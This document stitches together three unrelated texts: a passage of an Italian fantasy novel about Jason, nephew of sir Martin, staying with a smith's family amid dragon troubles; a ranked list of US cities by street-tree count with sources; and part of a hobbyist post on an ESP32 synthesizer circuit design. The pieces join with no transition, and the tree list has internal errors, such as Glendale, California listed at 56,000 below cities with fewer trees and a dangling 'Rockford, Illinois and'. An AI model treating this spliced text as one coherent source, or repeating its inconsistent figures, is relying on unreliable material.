«Diglielo. Se è il nipote di sir Martin deve sapere tutto quello che succede.»
Gavin sospirò.
«Hai ragione Mairead.» Fece una pausa, come per raccogliere i pensieri e trovare le parole giuste e poi raccontò: «Pochi giorni fa alcune guardie si sono fermate a parlare davanti alla fornace che ho in città. Discutevano delle recenti scorribande di Letif sulle montagne della regione di Feldmill, a ovest. Mentre parlavano, uno dei due si è fatto scuro in volto e, dopo aver controllato che nessuno potesse sentirli, ha sussurrato all’altro che tra le fila dell’esercito reale si vocifera che ai draghi siano stati rubati degli antichi monili o artefatti e che i due si siano accusati a vicenda. Sono solo voci, però e nessuno sa quale sia il vero motivo.»
Gavin guardò Mairead che annuì.
«Nella lettera, mio zio ha detto che io posso aiutare Lanchestry, ma non ho idea di cosa fare. Mi ha detto di venire a cercarti e chiederti di farmi un’armatura, ma poi non ho idea di cosa fare. Non ho mai fatto a botte nemmeno a scuola, lottare contro un drago è impensabile!»
«Non preoccuparti, ragazzo. Anche sir Martin non aveva idea di cosa fare, ma un giorno tornò dalla grotta con un’idea.»
«Quale idea?»
«Non la conosco, purtroppo.» rispose, accigliandosi. «Mi chiese se, in qualità di fabbro dell’esercito, potessi procurargli un appuntamento privato col re. Non fu facile, ma chiedendo al capo della Guardia reale riuscii a far parlare sir Martin con re Thelnet. Il consiglio fu privato: si ritirarono in una stanza, senza permettere ad altri di ascoltare. Una volta usciti, sir Martin e re Thelnet si scambiarono una stretta di mano e si salutarono. Quando tornammo qui mi salutò e fu l’ultima volta che lo vidi.»
La sua voce era rotta dall’emozione. Maired era seduta in un angolo ed era scoppiata in un silenzioso pianto mentre Gavin parlava.
Stavo per chiedere a Gavin cosa avremmo dovuto fare, quando dalle finestre si sentì il suono lontano di un campanaccio. Maired corse verso la porta con gli occhi ancora in lacrime e uscì, lasciando la porta spalancata dietro di lei. Sentii un sommesso «Madre!» urlato da una voce e nient’altro.
Il rumore del campanaccio si faceva sempre più forte, accompagnato da un legnoso cigolio. Poco dopo, i due suoni si fermarono e dalla porta entrò un ragazzo: era piuttosto tarchiato, con i capelli bruni e sembrava avere la mia età.
«Gwyn! Finalmente sei tornato.»
«Scusa, padre. Cedric non aveva le zucchine al bancone, quindi ho dovuto aspettare il carico di metà mattina. Sono piuttosto grinzose, ma sono le migliori che potesse darmi.»
«Capisco. Mettile pure in cucina, poi terminerò di cucinare la zuppa.»
«Perché mamma è scappata di casa?»
«Perché sir Martin, un vecchio amico, è morto, Gwyn.»
«Sir Martin?»
«Sì. Forse non lo ricordi, è passato molto tempo dall’ultima volta che l’abbiamo visto. Era un caro amico e, forse, l’unico che avrebbe potuto risolvere il problema dei draghi.»
«Oh, capisco. Devo andare a cercarla?»
«No. Dev’essere andata al vecchio laghetto. Lasciamola da sola con i suoi pensieri. Quando sarà quasi il tramonto, se non sarà tornata, andremo a cercarla.»
«D’accordo.»
Gwyn rimase accigliato mentre portava i sacchi pieni di frutta e verdura dal carretto in cucina. Poi, mentre portava l’ultimo sacco, mi vide ed ebbe un sussulto.
«Ah! Non ti avevo visto! Chi sei?»
«Molto piacere» risposi allungando la mano «io mi chiamo Jason. Sono il nipote di sir Martin.»
Gwyn rimase immobile a fissare me e la mia mano mentre con entrambe le braccia teneva il pesante sacco di iuta. Ritrassi la mano, consapevole che, con le braccia così occupate, non mi avrebbe mai stretto la mano. Portato l’ultimo sacco, mi fece un gesto invitandomi a seguirlo fuori casa. Titubante lo seguii e lo vidi prendere una grossa corda. Rimasi bloccato dalla paura mentre si avvicinava tenendo in mano la fune con uno sguardo inespressivo. Chiusi gli occhi attendendo che mi legasse. Tuttavia, non successe niente. Riaprii gli occhi e vidi Gwyn che mi porgeva la corda.
«Prendi questa. Dammi una mano a legare il carretto dietro la fornace.»
Ancora incredulo, presi la corda e lo aiutai a portare il carretto di legno dietro la casa e lo legammo saldamente.Il cielo si stava tingendo di rosa e Maired uscì dal bosco di pini. Aveva gli occhi rossi e gonfi per il lungo pianto e il suo vestito aveva l’orlo sporco di fango. Quando vide Gwyn lo abbracciò amorevolmente e tornò in casa per cambiarsi il vestito.
La zuppa cucinata da Gavin era davvero squisita, ma mi trattenni dal chiedere una seconda porzione: in quanto ospite, mi avevano riservato una prima porzione decisamente abbondante, nonostante le mie proteste per avere tutti porzioni uguali.
«Domani» esordì improvvisamente Gavin mentre cenavamo «partiremo per andare a palazzo. Proveremo a farti incontrare il Re, sperando che sia abbastanza di buon umore per accettare “È il nipote di sir Martin” come motivazione per averti a colloquio. Ci serviranno diverse provviste e due teli dove poter dormire. Prenderemo il vecchio carretto; è un po’ malandato, ma ci permetterà di portare più cose e potremo dormire su qualcosa di rigido, nel caso non trovassimo un luogo ideale per la notte. Ne approfitterò anche per portare in città le armature e le armi della Guardia reale che ho già riparato.»
«Gli serviranno anche degli altri vestiti» disse Gwyn indicandomi con la testa, mentre riempiva un altro cucchiaio con la zuppa.
«Hai ragione, non può certo viaggiare per la regione con quei pantaloni blu.»
Rimase pensoso per un po’, squadrandomi per bene. «Prenderai qualche vestito di Gwyn. Non siete grossi uguali, ma rimboccando un po’ maniche e pantaloni dovrebbero andare bene.»
Gwyn non protestò e continuò a mangiare.
Terminata la zuppa, Gwyn mi propose di uscire un po’ a goderci il fresco della brezza estiva. Nel cielo completamente terso brillavano migliaia di stelle e la radura davanti alla casa, così come la foresta di pini, era illuminata dalla forte luce della luna piena. Tra l’erba volavano le lucciole, che coi loro richiami luminosi cercavano un partner e segnalavano l’inizio della stagione più calda dell’anno.
«Quanti anni hai?» mi chiese improvvisamente Gwyn, mentre eravamo sdraiati nel prato.
«19. Tu?»
«22.»
Il silenzio era rotto solamente dal canto dei grilli e dal tubare delle civette.
«Puoi raccontarmi di sir Martin?» mi chiese.
«Certo. Sir Martin era mio zio. Io però non l’ho mai chiamato sir Martin; anzi, nessuno nel mio mondo lo chiamava così. Aveva tanti nomi: noi della famiglia lo chiamavamo Carl, mentre in altri ambienti era noto come Marcel N. Tannis.
«Era un brav’uomo. Era mio zio in quanto fratello di mio padre e sono sempre stati in buoni rapporti. Quando ero piccolo, passavo le estati in una casa di montagna, la stessa da cui sono arrivato in questa regione. Gli piaceva giocare con le persone, ma non per prendersi gioco di loro, voleva semplicemente che non impigrissero troppo la propria mente e che tenessero sveglio il cervello. “Se il cervello dorme, il corpo è come una scatola vuota” diceva sempre.»
Gwyn rimase in silenzio per un po’. Sembrava pensare a quello che avevo detto.
«Mi piacerebbe visitare il tuo mondo.» disse infine.
«Non lo so. Non sono sicuro tu possa uscire dal tuo mondo per venire nel mio.»
«Per quale motivo? Tu sei nel mio eppure nessuno ti ha invitato.»
«Mio zio ha detto che Bede ha bisogno del mio aiuto. Ho solo risposto alla sua richiesta.»
«Non abbiamo bisogno del tuo aiuto.»
«Tuo padre sembrava di giudizio diverso.»
«Mio padre si fida troppo delle altre persone. Dovrebbe essere più accorto con le persone con cui stringe affari e con le sue conoscenze.»
Rimasi in silenzio. Non sapevo quando sarei dovuto restare ospite di Gavin e della sua famiglia, ma creare attriti con chi mi stava offrendo un pasto e un tetto non mi sembrava una buona idea.
«Credo tu abbia ragione Gwyn. Tuo padre è un bonaccione e io ho sempre pensato che un fabbro dovrebbe essere più burbero. Comunque non preoccuparti. Non ho intenzione di essere vostro ospite per troppo tempo. Non sono nemmeno sicuro di essere la persona giusta per una cosa così importante come salvare un’intera regione.»
Gwyn grugnì in assenso e non disse altro.
Poco dopo si alzò un vento freddo che annunciava un temporale e tornammo in casa.
Maired e Gavin avevano imbottito una tela di lino con del fieno, preparandomi un piccolo giaciglio vicino alla cucina così da non dover dormire sul freddo pavimento in terra.La mattina seguente venni svegliato dalle prime luci dell’alba che filtravano dal piccolo spazio tra la porta d’ingresso e il pavimento. Gavin si alzò poco dopo di me, andò in cucina e preparò della pappa d’avena come colazione. La servì in tavola e attendemmo il risveglio di Maired e Gwyn. La pappa d’avena era molto saporita, ma non riuscii a godermela fino in fondo: ero piuttosto preoccupato da quello che mi aspettava nelle ore seguenti. Ero lì solo da poche ore e già un tizio bonario ma sconosciuto voleva portarmi di fronte al suo re.
Non ebbi molto tempo per pensare alle mie preoccupazioni: Gavin mangiò la pappa d’avena velocemente, si alzò, prese un grosso sacco verde dalla cucina e mi diede una forte pacca sulla schiena mentre ancora stavo finendo di mangiare.
«Forza! Si parte!» -
Larger American cities with the most street trees
Source: earth.comThe following list identifies cities across the United States with populations exceeding 100,000 residents that have the most street trees. Fully one-third of all the cities listed are located in California, exemplifying the important of street trees to Californians.
Cities that have not been included meet one or more of the following:
- They do not meet the minimum number of 10,000 street trees.
- They do not publish the number of street trees in their community online.
- They do not separate out their number of street trees from other publicly owned trees.
- They do not have a street tree program.
Whenever possible, both publicly and privately owned street trees are included in these numbers. Many of the tallies provided are estimates that are rounded off by the local community. More exact numbers reveal cities where a street tree census has taken place. In those instances where an approximate range was provided online, this post utilized the midpoint of that range.
Source: storymaps.arcgis.com/stories/e271a008988240e8acc7321a5cf5eb95Given the importance of trees generally, and street trees specifically, in helping cool cities, as well as improved stormwater absorption, wildlife habitat, scenic beauty, and increased property values, most cities should be escalating their street tree and public tree planting efforts. The cost-benefit comparisons of trees are clearly in favor of their strong benefit to the community.
As additional information becomes available, the list will be updated accordingly.
Peace!
_______
1-2. Los Angeles, California and New York City, New York = 700,000
3. Chicago, Illinois = 520,000
4. Colorado Springs, Colorado = 300,000
5. San Diego, California = 250,000
6. Portland, Oregon = 220,000
7-9. Charlotte, North Carolina; Milwaukee, Wisconsin; and Minneapolis, Minnesota = 200,000
10. Detroit, Michigan = 172,000
11-12. St. Paul, Minnesota and Riverside, California = 150,000
13. Honolulu, Hawaii = 141,500
14. Long Beach, California = 140,000
15-16. Buffalo, New York and Seattle, Washington = 130,000
17-18. San Francisco, California and Columbus, Georgia = 125,000
19. Santa Clarita, California = 112,000
20-22. Baltimore, Maryland; Madison, Wisconsin; and St. Louis, Missouri = 100,000
23. Columbus, Ohio = 96,000
24. Tallahassee, Florida = 95,000
25. Cincinnati, Ohio = 85,000
26. Lincoln, Nebraska = 83,000
27. Modesto, California = 81,000
28-30. Norfolk, Virginia; Naperville, Illinois; and Joliet, Illinois = 80,000
31. Eugene, Oregon = 76,000
32. Pasadena, California = 71,000
33. Sunnyvale, California = 70,148
34. Rockford, Illinois and = 70,000
35. Rochester, New York = 67,000
36. Salt Lake City, Utah = 63,000
37-38. Grand Rapids, Michigan and Santa Rosa, California = 62,000
39. Corona, California = 61,672
40-41. Salem, Oregon and Fargo, North Dakota = 60,000
42. Fort Collins, Colorado = 59,000
43. Oakland, California = 56,000
44. Akron, Ohio = 55,000
45. Lexington, Kentucky = 53,000
46. San Bernardino, California = 52,000
47-49. Des Moines, Iowa; Pomona, California; and Santa Ana, California = 50,000
50. Nashville, Tennessee = 49,455
51. Oceanside, California = 48,000
52. South Bend, Indiana = 46,974
53. Richmond, Virginia = 46,793
54. Lancaster, California = 46,000
55. Glendale, California = 56,000
56-59. Boston, Massachusetts; Ann Arbor, Michigan; Huntington Beach, California; and Lansing, Michigan = 40,000
60. Torrance, California = 37,000
61. Boulder, Colorado = 36,226
62. Green Bay, Wisconsin = 36,000
63. Carmel, Indiana = 35,463
64-66. Aurora, Colorado; Fullerton, California; and Syracuse, New York = 35,000
67. Sterling Heights, Michigan = 34,800
68. Pittsburgh, Pennsylvania = 33,498
69-70. Lakewood, Colorado and West Covina, California = 33,000
71. Wilmington, North Carolina = 32,500
72. Ventura, California = 32,000
73. Berkeley, California = 30,779
74. Everett, Washington = 29,000
75. Burbank, California = 28,000
76-77. Springfield, Massachusetts and Thousand Oaks, California = 27,000
78. Chico, California = 25,000
79. Providence, Rhode Island = 24,700
80. Stockton, California = 23,947
81. Worcester, Massachusetts = 23,137
82. Costa Mesa, California = 23,000
83-85. Sioux Falls, South Dakota; Davenport, Iowa; and Orange, California = 22,000
86. Inglewood, California = 21,800
87. Norwalk, California = 21,400
88. Garden Grove, California = 20,000
89. Arlington, Virginia = 19,500
90-91. Cambridge, Massachusetts and Palmdale, California = 19,000
92. Downey, California = 18,500
93. Peoria, Illinois = 18,000
94. Gilbert, Arizona = 17,082
95. Simi Valley, California = 16,400
96. Pearland, Texas = 15,644
97. Charleston, South Carolina = 15,244
98. Glendale, Arizona = 13,183
99. Provo, Utah = 13,000
100. Hillsboro, Oregon = 12,000
101. Midland, Texas = 11,919
102-104. Arlington, Texas; Renton, Washington; and Bellevue, Washington = 10,000
_______
SOURCES:
- https://www.cityofrochester.gov/departments/department-environmental-services/urban-forest-master-plan
- https://www.boston.gov/urban-forestry-division#:~:text=Street%20Tree%20Inventory,work%20done%20by%20the%20division.
- https://waterlandlife.org/wp-content/uploads/2018/02/i-Tree-Eco-Pittsburgh.pdf
- https://www.fs.usda.gov/psw/topics/urban_forestry/products/psw_cufr625CLT_MFRA_low_res.pdf
- https://www.charlottenc.gov/City-Government/Departments/General-Services/Tree-Management/Commonly-Asked-Questions#:~:text=Charlotte%20has%20an%20estimated%20200%2C000,the%20right%2Dof%2Dway.
- https://www.buffalorising.com/2015/05/the-state-of-buffalos-trees/
- https://columbusrecparks.com/nature/urban-forestry/
- https://bcrp.baltimorecity.gov/forestry/treebaltimore/survey
- https://chicagorti.org/2020-chicago-tree-census/#key-findings
- https://city.milwaukee.gov/dpw/operations/forestry#:~:text=%3E,within%20the%20City%20of%20Milwaukee.
- https://www.modeldmedia.com/features/detroit-street-trees-032916.aspx#:~:text=Despite%20dozens%20of%20studies%20proving,about%20it%20as%20a%20nicety.%22&text=Today%2C%20Detroit’s%20tree%20count%20is,Michigan%20Department%20of%20Natural%20Resources.
- https://citygreen.com/ann-arbor-upholds-tree-town-nickname/
- https://www.stpaul.gov/DocumentCenter/View/13797.pdf
- https://www.minneapolisparks.org/park-care-improvements/trees/boulevard_trees/
- https://seattle.gov/transportation/projects-and-programs/programs/trees-and-landscaping-program/seattle-tree-inventory-map#:~:text=There%20are%20approximately%20130%2C000%20trees,private%20development%2C%20and%20private%20citizens.
- https://www.portland.gov/trees/get-involved/treeinventory#:~:text=Read%20our%20report%20from%20Street,this%20interesting%20web%2Dbased%20storymap:
- https://sfpublicworks.org/trees#:~:text=The%20City%20gathers%20and%20maintains,urban%20forest%20and%20plan%20accordingly.
- https://baynature.org/article/oaklands-urban-tree-dreams-get-partially-funded/
- https://coloradosprings.gov/forestry/page/tree-inventory#:~:text=City%20Forestry%20manages%20a%20living,being%20completed%20as%20funding%20allows.
- https://www.auroragov.org/things_to_do/parks__open_space___trails/forestry/trees_faqs#:~:text=Aurora’s%20Forestry%20Division%20cares%20for,strips%20between%20sidewalks%20and%20streets.
- https://streetsla.lacity.org/tree-inventory#:~:text=StreetsLA%20has%20contracted%20Davey%20Resource,updated%20with%20ongoing%20forestry%20activities.
- https://www.insidesandiego.org/1000th-tree-planted-part-trees-communities-initiative#:~:text=The%20Urban%20Forestry%20Program%20maintains,Subscribe%20Now
- http://cityforestrenewal.org/santa-ana/#:~:text=The%20City%20of%20Santa%20Ana,maintain%20a%20healthy%20urban%20forest.
- https://www.sbcity.org/contact_us/sb_access_online?cid=6246
- https://www.honolulu.gov/tod/projects/dev-resources/tod-street-tree-plan.html#:~:text=Based%20on%20a%202007%20Municipal,both%20vegetated%20and%20impervious%20surfaces.
- https://www.nyc.gov/assets/ddc/downloads/projects/Outreach-Materials/Street_Trees.pdf
- https://www.arlingtonva.us/Government/Programs/Office-of-Sustainability-and-Environment/Trees/Tree-Maintenance-and-Health/Public-Trees/Circuit-Tree-Maintenance#:~:text=The%20Arlington%20County%20Tree%20Crew%20maintains%20our,trees%2C%20many%20of%20which%20in%20your%20neighborhood.
- https://www.norfolk.gov/5460/Urban-Forestry#:~:text=Recreation%2C%20Parks%20and%20Open%20Space,removal%2C%20and%20replacement%20is%20prioritized.
- https://www.arlingtontx.gov/city_hall/departments/parks_recreation/parks_trails/forestry_and_beautification#:~:text=The%20Forestry%20and%20Beautification%20Division,and%20other%20high%20traffic%20areas.
- https://storymaps.arcgis.com/stories/772e3f532a534ca590f5bf98632e7e01
- https://www.lincoln.ne.gov/City/Departments/Parks-and-Recreation#:~:text=The%20Parks%20and%20Recreation%20department%20is%20FUNdamental%20to%20Lincoln.,and%20classes%20for%20all%20ages.
- https://www.stlouis-mo.gov/government/departments/parks/forestry/trees/tree-permit-maintain.cfm#:~:text=What%20to%20Expect-,Overview,Louis.
- https://storymaps.arcgis.com/stories/01d4bc7e3774471b8a83fdbbf01b909e
- https://www.strongtowns.org/journal/2018/6/7/why-street-trees-are-so-essential#:~:text=Street%20trees%20are%20often%20taken,32%20public%20gardens%20throughout%20Akron.
- https://www.fcgov.com/forestry/#:~:text=Welcome%20to%20Fort%20Collins%2C%20Colorado,frequent%20and%20sound%20management%20practices.
- https://www.providenceri.gov/parks/about/
- https://www.slc.gov/parks/urban-forestry/#:~:text=The%20Salt%20Lake%20City%20urban%20forest%20consists%20of%20about%2085%2C000,of%20the%20vibrant%20urban%20forest.
- https://fargond.gov/city-government/departments/public-works/forestry#:~:text=The%20Fargo%20Forestry%20Department%20manages,fit%20in%20the%20urban%20environment.
- https://aspenarbo.com/state-sioux-falls-urban-forest-2019/
- https://www.cityofmadison.com/streets/urban-forestry
- https://www.dsmpartnership.com/downtowndsmusa/news-blog/blog/des-moines-forestry-division-launches-treesure-hunt-in-downtown-skywalk#:~:text=There%20are%20over%2050%2C000%20street,Trees%20and%20Urban%20Nursery%20programs.
- https://www.fs.usda.gov/psw/topics/urban_forestry/products/cufr_661_CHSMFRA_6-06.pdf
- https://www.grandrapidsmi.gov/Government/Departments/Parks-and-Recreation/Forestry#:~:text=Overview,trees%20and%2020%2C000%20park%20trees.
- https://www.naperville.il.us/residents/our-urban-forest/maintenance-and-landscaping/
- https://www.naperville.il.us/residents/our-urban-forest/maintenance-and-landscaping/
- https://proceedings.esri.com/library/userconf/proc09/uc/papers/pap_1042.pdf
- https://proceedings.esri.com/library/userconf/proc09/uc/papers/pap_1042.pdf
- https://www.fs.usda.gov/psw/topics/urban_forestry/products/cufr579_GlendaleBCAFinal.pdf
- https://www.gilbertaz.gov/departments/parks-and-recreation/parks/park-plans-and-reports/shade-and-streetscape#:~:text=Gilbert’s%20Shade%20and%20Streetscape%20Master,urban%20forest%20and%20engineered%20shade.
- https://www.longbeach.gov/globalassets/city-manager/media-library/documents/memos-to-the-mayor-tabbed-file-list-folders/2023/july-24–2023—citywide-street-tree-replacement-program-and-updated-tree-maintenance-program#:~:text=Tree%20Inventory,trees%20in%20over%20169%20parks.
- https://www.srcity.org/1022/Street-Tree-Removal-Permit#:~:text=Approximately%2062%2C000%20street%20trees%20strengthen,parks%2C%20providing%20welcome%20summer%20shade.
- https://www.eugene-or.gov/3673/Urban-Forestry
- https://www.pjstar.com/story/news/history/2022/09/12/peoria-has-a-long-history-as-a-tree-city-usa/65419108007/#:~:text=’%22%20The%20article%20included%20a%20few,common%20tree%20in%20the%20city.%22
- https://riversideca.gov/publicworks/urban-forestry/tree-trimming/public#:~:text=The%20Trees%20&%20Landscaping%20Division%20is,and%20may%20not%20be%20exact.
- https://provopower.org/forestry/#:~:text=Trees%20are%20a%20very%20valuable,Street%20Trees%20throughout%20the%20City.
- https://www.itreetools.org/documents/323/Indiana_Statewide_Street_Tree_Analysis.pdf
- https://www.carmel.in.gov/government/departments-services/community-services/urban-forestry#:~:text=Carmel%20Street%20Tree%20Inventory%20Data,195%20species%20representing%2071%20genera.
- https://www.fox47news.com/news/local-news/lansing-has-lost-roughly-2-700-trees-over-the-past-10-years
- https://www.statesmanjournal.com/story/news/2022/08/14/whos-in-charge-of-salem-oregon-city-trees-meet-mid-willamette-valley-urban-forest-keeper-milan-davis/65392334007/#:~:text=This%20is%20part%20of%20a,still%20from%20the%20ice%20storm.%E2%80%9D
- https://www.modbee.com/news/local/article252792078.html
- https://ggcity.org/pw/trees#:~:text=714)%20741%2D5375-,Adopt%20a%20Tree%20Program,Privacy%20Policy
- https://www.telegram.com/story/news/local/2024/07/07/plan-for-planting-more-trees-in-worcester-awaits-city-council-approval/74267205007/
- https://www.telegram.com/story/news/local/leominster/2023/05/01/worcester-combats-urban-heat-islands-with-master-plan-draft/70154196007/#:~:text=More%20draft%20details,highlights%20in%20the%20draft%20report:&text=Worcester%20has%2023%2C137%20street%20trees%20and%20772%20stumps%20along%20roads%20and%20streets.&text=Current%20tree%20canopy%20covers%2037%25%20of%20the%20city.&text=Worcester’s%20forestry%20budget%20in%20fiscal,populations%20the%20size%20of%20Worcester’s.
- https://www.syr.gov/Departments/Parks-Recreation/Tree-Services#:~:text=The%20Forestry%20Division%20at%20Syracuse,remaining%20work%20performed%20by%20contractors.
- https://www.ci.oceanside.ca.us/government/public-works/maintenance-operations-division/street-tree-maintenance#:~:text=The%20Urban%20Forestry%20Program%20manages,and%20trap%20air%20pollution%20particles.
- https://streets.uf.frec.vt.edu/reports/RichmondReport.pdf
- https://www.candgnews.com/news/sterling-heights-gets-tree-planting-grant-6868#:~:text=The%20tree%20grant%20comes%20during,reforest%20Sterling%20Heights’%20neighborhoods.%E2%80%9D
- https://www.wilmingtonnc.gov/Parks-Recreation/Trees-Park-Maintenance#:~:text=30%2C000+%20street%20trees%20on%20more,lots%20and%20other%20government%20properties.
- https://tfsweb.tamu.edu/uploadedFiles/TFS_Main/Urban_and_Community_Forestry/Services_for_Local_Government/Inventories_and_Reports/Midland-TXSCTI.pdf
- https://bellevuewa.gov/city-government/departments/parks/nature-and-environment/street-trees-arterial-landscapes#:~:text=Bellevue%20has%20earned%20the%20nickname,over%20100%20miles%20of%20streets.
- https://www.fs.usda.gov/psw/topics/urban_forestry/products/cufr589_BerkeleyMBCA.pdf
- https://www.heraldnet.com/news/millions-of-dollars-for-tree-equity-head-to-snohomish-county/#:~:text=’True%20tree%20equity’,private%20land%20within%20city%20limits.&text=Around%206%25%20of%20the%20tree,of%20those%20were%20Douglas%20firs.
- https://www.stocktonca.gov/services/public_works/trees.php#:~:text=The%20Citywide%20Tree%20Maintenance%20Project,at%20locations%20throughout%20the%20city.
- https://www.sunnyvaletrees.org/wp-content/uploads/2017/09/Urban-Forest-Mgmt-Plan-2014-Adoptied-9-16-2014-web-minimized.pdf
- https://hbtrees.org/projects/urban-forest/
- https://columbusrecparks.com/nature/urban-forestry/street-tree-inventory/#:~:text=Our%20City’s%20Street%20Trees,reports%20and%20one%20citywide%20report.
- https://www.rrstar.com/story/news/2010/04/22/rockford-to-homeowners-that-tree/44717582007/
- https://www.joliet.gov/government/departments/public-works/forestry#:~:text=The%20Forestry%20Division%20is%20responsible,the%20National%20Arbor%20Day%20Foundation.
- https://forestadaptation.org/assess/ecosystem-vulnerability/urban/green-bay#:~:text=Green%20Bay%2C%20a%20city%20north,city%20parks%20(1573%20acres).
- https://www.auroragov.org/things_to_do/parks__open_space___trails/forestry/trees_faqs#:~:text=Aurora’s%20Forestry%20Division%20cares%20for,strips%20between%20sidewalks%20and%20streets.
- https://www.cambridgema.gov/Services/urbanforestry#:~:text=Pruning:%20the%20Forestry%20Division%20regularly,pruning%2C%20please%20submit%20a%20request.
- https://www.davenportiowa.com/services/public_works/trees#:~:text=The%20city%20manages%20over%2022%2C000,identified%20as%20hazards%20or%20undesirable.
- https://www.boarddocs.com/fla/talgov/Board.nsf/files/B65NTG6178CA/$file/Attachment%201%20-Tallahassee%20Urban%20Forest%20Master%20Plan%202018%20-%20FINAL.pdf
- https://myburbank.com/burbank-named-tree-city-usa-for-the-44th-consecutive-year-by-the-arbor-day-foundation/#:~:text=The%20Burbank%20Parks%20and%20Recreation,the%20Greenhouse%20Gas%20Reduction%20Plan.
- https://www.esri.com/news/arcnews/winter0506articles/4h-clubs.html#:~:text=The%20youth%20and%20volunteers%20use%20ArcPad%20software,Hillsboro’s%20geography%20and%20data%20needs%2C%22%20says%20Miller.
- https://www.costamesaca.gov/government/departments-and-divisions/public-works/maintenance-services/parks-parkways-landscape-and-trees#:~:text=This%20section%20is%20responsible%20for,inspected%20by%20the%20City%20Arborist.&text=Talbert%20Regional%20Park%20%2D%20located%20adjacent,923%2D2250%20or%20visit%20OCparks.
- https://cdnsm5-hosted.civiclive.com/UserFiles/Servers/Server_7922657/File/City%20Hall/Community%20Services/Parks%20Planning%20and%20Natural%20Resources/Urban%20Forestry/2017%20Tree%20City%20USA,%20Growth%20Award,%20and%20Tree%20Information%20Listing.pdf
- https://chico.ca.us/Departments/Public-Works/Operations–Maintenance/Street-Trees/index.html
- https://github.com/stiles/data/blob/master/los-angeles-street-trees/README.md
- https://www.cityofventura.ca.gov/1703/Parks#:~:text=General%20Information,consisting%20of%20323%20tree%20varieties.
- https://www.toclimateaction.org/environmental#:~:text=The%20City%20is%20proud%20of,urban%20heat%20and%20sequester%20carbon.
- https://tfsweb.tamu.edu/uploadedFiles/TFS_Main/Urban_and_Community_Forestry/Services_for_Local_Government/Inventories_and_Reports/Pearland-TXSCTI.pdf
- https://www.cityoforange.org/residents/trees#:~:text=There%20are%20more%20than%2022%2C000,as%20a%20Tree%20City%20USA.
- https://www.torranceca.gov/our-city/public-works/city-tree-and-parkway-maint#:~:text=The%20Public%20Works%20Streetscape%20Division,storm%20damage%20or%20fallen%20trees
- https://fullertonobserver.com/2023/08/07/the-plan-for-fullerton-street-trees/#:~:text=For%20the%20last%2041%20years,than%20many%20Orange%20County%20cities.
- https://www.coronaca.gov/government/departments-divisions/community-services/parks/trees#:~:text=Did%20you%20know%3F,way%2C%20medians%2C%20and%20facilities.
- deviantart.com
- https://en.wikipedia.org/wiki/List_of_United_States_cities_by_population#References
#cities #climate #cooling #environment #geography #history #landUse #landscaping #planning #shade #streetTrees #transportation #travel #treeCanopies #trees #urbanTrees #water
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In the first part I described the concept and basic design parameters I was looking for. In this part I go into detail about how I’m going about implementing them with an ESP32 WROOM board.
- Part 1 – This introduction and high-level design principles.
- Part 2 – Detailed design of an ESP32 based PCB.
- Part 3 – Software design.
- Part 4 – Mechanical assembly and final use – todo.
Warning! I strongly recommend using old or second hand equipment for your experiments. I am not responsible for any damage to expensive instruments!
The ESP32 EduMod Hacked Synth Thing
The principles and code I’m using are taken from these previous posts:
From the experience gained so far, I’ve gone for the following:
- Use the ESP32 DACs for the output for two envelope generators, each driven by four pots, a trigger and a gate signal.
- Use the ESP32 PWM outputs for two VCOs, each with four waveforms (sine, triangle, saw, square) and an analog input (pot or CV) for frequency and amplitude.
- Use another ESP32 PWM output for a LFO with rate and depth analog controls.
- Use the ESP32 UART for MIDI in.
- Use a TDA7052A as the final VCA/audio output stage.
Adding all this up, and taking the view that the VCOs will be supporting simultaneous waveforms on four pins each (rather than any kind of waveform selection input), I’m going to need some kind of IO expander. The easiest thing is probably to use an analog multiplexer for the twin ADSR and LFO controls. I’m designing this around a CD4067 analog multiplexer which provides 16 input channels and will require 4 IO pins for control and 1 IO pin for the analog value to read.
This leads me to the following pin usage, using the same cheap ESP32 WROOM module, I’ve used for my other experiments so far:
ENGPIO23PWM OUTVCO 2 SquareEG 2 GateDig InputGPIO36GPIO22PWM OUTVCO 2 SawEG 2 TriggerDig InputGPIO39GPIO1PWM OUTVCO 2 TriangleEG 1 GateDig InputGPIO34GPIO3RXD 0MIDI INEG 1 TriggerDig InputGPIO35GPIO21PWM OUTVCO 2 SineALG Mux InputAlg InputGPIO32GPIO19PWM OUTVCO 1 SquareALG Mux S0Dig OutputGPIO33GPIO18PWM OUTVCO 1 SawEG 1 OUTDAC 1GPIO25GPIO5PWM OUTVCO 1 TriangleEG 2 OUTDAC 2GPIO26GPIO17PWM OUTVCO 1 SineALG Mux S1Dig OutputGPIO27GPIO16PWM OUTLFO TriangleALG Mux S2Dig OutputGPIO14GPIO4Alg InputVCO AmpALG Mux S3Dig OutputGPIO12GPIO2Alg InputVCO 2 CVLFO SawPWM OUTGPIO13GPIO15Alg InputVCO 1 CVGNDGNDVIN3V3One thing I hadn’t considered when defining the above pinout (and subsequently designing a circuit around it) is the ESP32’s strapping pins. There are six pins that are used as configuration pins on boot to set the various mode and operation of the device and of course it assumes the use of the UART. Once booted, they can usually be used as normal GPIO pins, but if connected circuitry changes the state on boot, then unexpected things may occur.
See the discussion below for further details, implications, and things I’d wish I’d realised before putting a design together 🙂
The analog inputs for the Mux are defined as follows:
1 (I0)Not used2 (I1)LFO Rate3 (I2)LFO Depth4 (I3)EG 1 Attack5 (I4)EG 1 Decay6 (I5)VCO 1 Pitch CV7 (I6)VCO 1 Amplitude CV8 (I7)VCO 2 Pitch CV9 (I8)EG 1 Release10 (I9)EG 1 Sustain11-12 (I10-I11)Not used13 (I12)EG 2 Release14 (I13)EG 2 Sustain15 (I14)EG 2 Decay16 (I15)EG 2 AttackBasic electrical properties and design principles
- All internal control signals (CV, triggers or gates) will be using 3V3 levels. All internal audio signals will be DC biased to the 0-3V3 range.
- Internal patch points will be using jumper wires to make it clear that these are not “proper” modular signals for general patching outside of the unit.
- A special input will be provided for a MIDI IN socket.
- CV, trigger and gate signals will include basic protection to limit them to the 0-3V3 levels for use within the system.
- An output stage will be provided that will support either a directly connected small (8Ω) speaker or a mono line out jack.
- Power will be duplicated to a header on the side of the unit to allow for easy connections to breadboards.
- The PCBs will fit in a 100x100mm footprint to keep costs down, but I might end up with several per unit.
- All code will run on a single ESP32 WROOM dev module that seems easily, and cheaply, available.
There will be some, but limited protections on internal jumper connections. I’m working on the basis that it should be fairly cheap to build, all chips should be relatively cheap and easy to replace (and therefore socketed), so educated experimentation is encouraged, but uneducated plugging in will probably break something.
As long as everything stays within the 0-3V3 range, it should probably be ok, though.
ESP32 Strapping Pins
